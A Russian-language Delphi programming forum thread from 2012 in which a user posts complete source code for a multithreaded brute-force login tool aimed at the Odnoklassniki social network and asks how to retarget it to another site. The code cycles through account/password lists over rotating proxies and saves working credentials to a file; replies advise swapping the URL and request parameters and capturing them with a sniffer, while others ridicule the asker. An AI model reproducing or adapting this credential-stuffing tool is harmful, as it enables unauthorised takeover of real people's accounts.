 |
Как переделать под свой сайт? - Вопросы и ответы, обсуждения - Ваши вопросы по Pascal/Delphi только в данном разделе |
22.11.2012, 16:15
|
#1
|
|
|
|
Разведчик
|
 Регистрация: 12.08.2012
 Сообщений: 15
 Популярность: 28
 Сказал(а) спасибо: 27
Поблагодарили 8 раз(а) в 7 сообщениях
|
Как переделать под свой сайт?
Есть исходник брута, он для одноклашек, но я очу его сделать под другой сайт. Что нужно для этого изменить в коде??
Код:
unit Unit1;
//Модерн. в брут от INGUSHMEN
//Оригинальный исходник: Zdez Bil Ya
//===================================
//
// TRIALANET.RU
//
//===================================
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP,
StdCtrls, ComCtrls, Gauges, SyncObjs, Spin, Buttons, ExtCtrls, XPMan;
type
TForm1 = class(TForm)
OpenDialog1: TOpenDialog;
IdHTTP1: TIdHTTP;
Panel1: TPanel;
Label3: TLabel;
Bevel1: TBevel;
Label4: TLabel;
Panel2: TPanel;
RadioButton1: TRadioButton;
RadioButton2: TRadioButton;
RadioButton3: TRadioButton;
Panel3: TPanel;
Edit1: TEdit;
SpeedButton4: TSpeedButton;
Edit2: TEdit;
SpeedButton5: TSpeedButton;
Gauge1: TGauge;
XPManifest1: TXPManifest;
Panel4: TPanel;
Memo1: TMemo;
Panel5: TPanel;
SpinEdit1: TSpinEdit;
SpeedButton3: TSpeedButton;
SpeedButton2: TSpeedButton;
Edit3: TEdit;
Label1: TLabel;
GoodLabel: TLabel;
BadLabel: TLabel;
Label2: TLabel;
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure SpeedButton4Click(Sender: TObject);
procedure SpeedButton2Click(Sender: TObject);
procedure RadioButton1Click(Sender: TObject);
procedure RadioButton2Click(Sender: TObject);
procedure RadioButton3Click(Sender: TObject);
procedure SpeedButton5Click(Sender: TObject);
procedure SpeedButton3Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
TNewThread = class(TThread)
private
FAcc : string;
FPas : string;
IP : string;
Port : string;
Rez : Integer;
protected
procedure Execute; override;
public
procedure Sync;
constructor Create(CreateSuspended: Boolean);
end;
var
Form1: TForm1;
Accounts, Proxy:Tstringlist;
Thread, Acc:integer;
Work:boolean;
CS:TcriticalSection;
GoodFile, BadFile: textfile;
implementation
{$R *.dfm}
constructor TNewThread.Create(CreateSuspended: Boolean);
begin
inherited Create(CreateSuspended);
end;
procedure TNewThread.Execute;
var CurAcc:integer;
data:Tstringlist;
HTTP: TIdHTTP;
begin
while Work do
begin
CS.Enter;
Inc(Acc);
if Acc<Accounts.Count then CurAcc:=Acc else Work:=false;
CS.Leave;
if Work then
begin
HTTP:=TIdHTTP.create(nil); //Создаём HTTP
HTTP.HandleRedirects:=false; //Запрещаем редирект
if Proxy.Text = '' then sleep(0) else //Если прокси не загружены, то ничего не делаем
begin
IP:= Copy(Proxy[CurAcc],1,Pos(':',Proxy[CurAcc])-1); //Копируем прокси
Port:= Copy(Proxy[CurAcc],Pos(':',Proxy[CurAcc])+1,Length(Proxy[CurAcc])); //Копируем порт
HTTP.ProxyParams.ProxyServer:=IP; //Вставляем прокси
HTTP.ProxyParams.ProxyPort:=strtoint(Port); //Вставляем порт
end;
//Прокси берутся легко! Какая цифра у строк логина, такая цифра строки и у прокси
//Напрмиер:
//№1 - 127.0.0.1
//№2 - 127.0.0.2
//№3 - 127.0.0.3
//У нас список проксей, всего 3
//№1 - vasya;123456
//№2 - kolya;wwwwww
//№3 - trialanet.ru;password
//Начинаем с первого логина, так же начинаем с первой прокси
//и т.д.
FAcc:= Copy(Accounts[CurAcc],1,Pos(';',Accounts[CurAcc])-1); //Копируем логин
FPas:= Copy(Accounts[CurAcc],Pos(';',Accounts[CurAcc])+1,Length(Accounts[CurAcc])); //Копируем пароль
data:=Tstringlist.create;
data.Add('st.posted=set');
data.Add('st.email='+FAcc);
data.Add('st.password='+FPas);
data.Add('st.fJS=enabled');
data.Add('st.screenSize=1366 x 768');
data.Add('st.flashVer=10.1.82');
data.Add('button_go=Войти');
try
HTTP.Post('http://www.odnoklassniki.ru/dk?cmd=AnonymLogin&st.cmd=anonymLogin', data);
Rez:=-1;
except
if Pos('Set-Cookie: JSESSIONID=', HTTP.Response.RawHeaders.Text)<>0 then //Если в кукисах нашли JSESSIONID то добавляем в ГУД
Rez:=1 //Гуд
else
Rez:=0; //Бэд
end;
HTTP.Free; //УБиваем HTTP
data.Free; //И наши параметры
Synchronize(Sync); //Делаем синхронизацию. Самая важная строка!
end;
end;
dec(Thread);
if Thread=0 then ShowMessage('OK'); //No comments...
end;
procedure TNewThread.Sync;
begin
case Rez of
0:begin
Accounts.Add(FAcc+';'+FPas);
end;
1:begin
Append(GoodFile);
Writeln(GoodFile,FAcc+';'+FPas);
Closefile(GoodFile);
Form1.GoodLabel.Caption:=IntToStr(StrToInt(Form1.GoodLabel.Caption)+1);
Form1.Gauge1.Progress:=Form1.Gauge1.Progress+1;
end;
-1:begin
Append(BadFile);
Writeln(BadFile,FAcc+';'+FPas);
Closefile(BadFile);
Form1.BadLabel.Caption:=IntToStr(StrToInt(Form1.BadLabel.Caption)+1);
Form1.Gauge1.Progress:=Form1.Gauge1.Progress+1;
end;
end;
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
Accounts.Free;
CS.Free;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
Accounts:=Tstringlist.create;
Proxy:=Tstringlist.create;
CS:=TcriticalSection.create;
end;
procedure TForm1.SpeedButton4Click(Sender: TObject);
begin
OpenDialog1.InitialDir:=ExtractFilePath(Application.ExeName);
if OpenDialog1.Execute then
begin
Accounts.Clear;
Accounts.LoadFromFile(OpenDialog1.FileName);
end;
end;
procedure TForm1.SpeedButton2Click(Sender: TObject);
begin
Memo1.Clear;
SpeedButton2.Enabled:=false;
SpeedButton3.Enabled:=true;
Assignfile(GoodFile, ExtractFilePath(Application.ExeName)+'good.txt');
Rewrite(GoodFile);
Closefile(GoodFile);
Assignfile(BadFile, ExtractFilePath(Application.ExeName)+'bad.txt');
Rewrite(BadFile);
Closefile(BadFile);
GoodLabel.Caption:='0';
BadLabel.Caption:='0';
Gauge1.MaxValue:=Accounts.Count;
Gauge1.Progress:=0;
Acc:=-1;
Work:=true;
for Thread:=1 to strtoint(SpinEdit1.Text) do
TNewThread.Create(false);
Thread:=strtoint(SpinEdit1.Text);
end;
procedure TForm1.RadioButton1Click(Sender: TObject);
begin
Edit1.Enabled:=true;
Edit1.Text:='accounts.txt';
Edit3.Enabled:=false;
Edit3.Text:='';
end;
procedure TForm1.RadioButton2Click(Sender: TObject);
begin
Edit1.Enabled:=true;
Edit1.Text:='passwords.txt';
Edit3.Enabled:=true;
Edit3.Text:='Введите логин';
end;
procedure TForm1.RadioButton3Click(Sender: TObject);
begin
Edit1.Enabled:=true;
Edit1.Text:='logins.txt';
Edit3.Enabled:=true;
Edit3.Text:='Введите пароль';
end;
procedure TForm1.SpeedButton5Click(Sender: TObject);
begin
OpenDialog1.FileName:='';
OpenDialog1.InitialDir:=ExtractFilePath(Application.ExeName);
if OpenDialog1.Execute then
begin
Proxy.Clear;
Proxy.LoadFromFile(OpenDialog1.FileName);
end;
end;
procedure TForm1.SpeedButton3Click(Sender: TObject);
begin
SpeedButton2.Enabled:=true;
SpeedButton3.Enabled:=false;
Work:=false; //Завершаем наши потоки
end;
end.
за адекватные ответы спасибки)
________________
Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 10 сообщение(ий). Сейчас у Вас 0 сообщение(ий).
|
|
|
22.11.2012, 16:30
|
#2
|
|
|
|
Старший сержант
|
 Регистрация: 25.12.2011
 Сообщений: 191
 Популярность: 5259
 Сказал(а) спасибо: 31
Поблагодарили 235 раз(а) в 135 сообщениях
|
Re: Как переделать под свой сайт?
ссылки, параметра запроса
________________
Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 10 сообщение(ий). Сейчас у Вас 0 сообщение(ий).
|
|
|
22.11.2012, 16:31
|
#3
|
|
|
|
Разведчик
|
 Регистрация: 12.08.2012
 Сообщений: 15
 Популярность: 28
 Сказал(а) спасибо: 27
Поблагодарили 8 раз(а) в 7 сообщениях
|
Re: Как переделать под свой сайт?
 |
Цитата: |
 |
|
|
|
|
|
|
|
|
ссылки, параметра запроса
|
|
 |
|
 |
|
можешь их выделить цветом? буду очень благодарен
________________
Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 10 сообщение(ий). Сейчас у Вас 0 сообщение(ий).
|
|
|
22.11.2012, 17:34
|
#4
|
|
|
|
Сержант
|
 Регистрация: 10.08.2011
 Сообщений: 136
 Популярность: 1781
 Сказал(а) спасибо: 60
Поблагодарили 246 раз(а) в 145 сообщениях
|
Re: Как переделать под свой сайт?
________________
Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 10 сообщение(ий). Сейчас у Вас 0 сообщение(ий).
Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 10 сообщение(ий). Сейчас у Вас 0 сообщение(ий).
|
|
|
Пользователь сказал cпасибо:
|
|
22.11.2012, 17:54
|
#5
|
|
|
|
Разведчик
|
 Регистрация: 12.08.2012
 Сообщений: 15
 Популярность: 28
 Сказал(а) спасибо: 27
Поблагодарили 8 раз(а) в 7 сообщениях
|
Re: Как переделать под свой сайт?
РОСПОТРЕБНАДЗОР, как собрать красные данные с сайта?
________________
Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 10 сообщение(ий). Сейчас у Вас 0 сообщение(ий).
|
|
|
22.11.2012, 19:08
|
#6
|
|
|
|
Старший сержант
|
 Регистрация: 25.12.2011
 Сообщений: 191
 Популярность: 5259
 Сказал(а) спасибо: 31
Поблагодарили 235 раз(а) в 135 сообщениях
|
Re: Как переделать под свой сайт?
сниффером любым
________________
Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 10 сообщение(ий). Сейчас у Вас 0 сообщение(ий).
|
|
|
23.11.2012, 15:33
|
#7
|
|
|
|
Пехотинец
|
 Регистрация: 02.04.2011
 Сообщений: 66
 Популярность: 9953
 Сказал(а) спасибо: 898
Поблагодарили 412 раз(а) в 209 сообщениях
|
Re: Как переделать под свой сайт?
Я думаю , если у тс возникают вопросы типа "где посмотреть ссылки" ... то ему еще рано писать бруты ... hello world самое то помоему.. (не в обиду)
|
|
|
2 пользователя(ей) сказали cпасибо:
|
|
23.11.2012, 21:37
|
#8
|
|
|
|
Разведчик
|
 Регистрация: 02.01.2012
 Сообщений: 2
 Популярность: 10
 Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
|
Re: Как переделать под свой сайт?
та да...
|
|
|
24.11.2012, 01:08
|
#9
|
|
|
|
Лейтенант-командор
|
 Регистрация: 12.08.2010
 Сообщений: 727
 Популярность: 30569
 Золото Zhyk.Ru: 1
 Сказал(а) спасибо: 57
Поблагодарили 645 раз(а) в 386 сообщениях
|
Re: Как переделать под свой сайт?
Да что вам всем эти бруты сдались, лучше бы чего полезного написали...
________________
Принимаются пожертвования любых размеров в фонд поддержки начинающих программистов Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 10 сообщение(ий). Сейчас у Вас 0 сообщение(ий).
Кошельки: WMZ - Z276844220882; WMR - R231028582939; WMU - U394136909210; ЯД - 410011494605270.
Perfect World: PWDatabaseScanner, Client, PWNickRenamer, PWClientRenamer, База логинов PW, Гайд по варУ, Зарабатываем репутацию.
Delphi: Авторизация на сайте с помощью Indy, Загрузка изображений с интернета в TImage с помощью Indy, Автоматическая смена стандартной версии Indy в Delphi на Indy 10.0.76 / 10.1.5, Основы парсинга с помощью Indy, Делаем Updater до программы с помощью Indy.
Other: ShowIP, FFUUU смайлы в QIP, Как играть в Minecraft (видеокурс), Как мы захватили человечество :D, Энергия в Лицемер/TopFace, PasGen.
|
|
|
24.11.2012, 01:49
|
#10
|
|
|
|
Старший сержант
|
 Регистрация: 29.07.2011
 Сообщений: 197
 Популярность: 8989
 Сказал(а) спасибо: 45
Поблагодарили 175 раз(а) в 139 сообщениях
|
Re: Как переделать под свой сайт?
|
|
|
24.11.2012, 08:22
|
#11
|
|
|
|
Сержант
|
 Регистрация: 10.08.2011
 Сообщений: 136
 Популярность: 1781
 Сказал(а) спасибо: 60
Поблагодарили 246 раз(а) в 145 сообщениях
|
Re: Как переделать под свой сайт?
________________
Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 10 сообщение(ий). Сейчас у Вас 0 сообщение(ий).
Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 10 сообщение(ий). Сейчас у Вас 0 сообщение(ий).
|
|
|
26.11.2012, 15:13
|
#12
|
|
|
|
Разведчик
|
 Регистрация: 21.11.2012
 Сообщений: 6
 Популярность: 230
 Сказал(а) спасибо: 55
Поблагодарили 103 раз(а) в 75 сообщениях
|
Re: Как переделать под свой сайт?
________________
Если помог Тык Спасибо Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 10 сообщение(ий). Сейчас у Вас 0 сообщение(ий).
Gaimer For KAROS ONLINE
|
|
|
Ваши права в разделе
|
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения
HTML код Выкл.
|
|
|
Заявление об ответственности / Список мошенников
Часовой пояс GMT +4, время: 01:05.
|
 |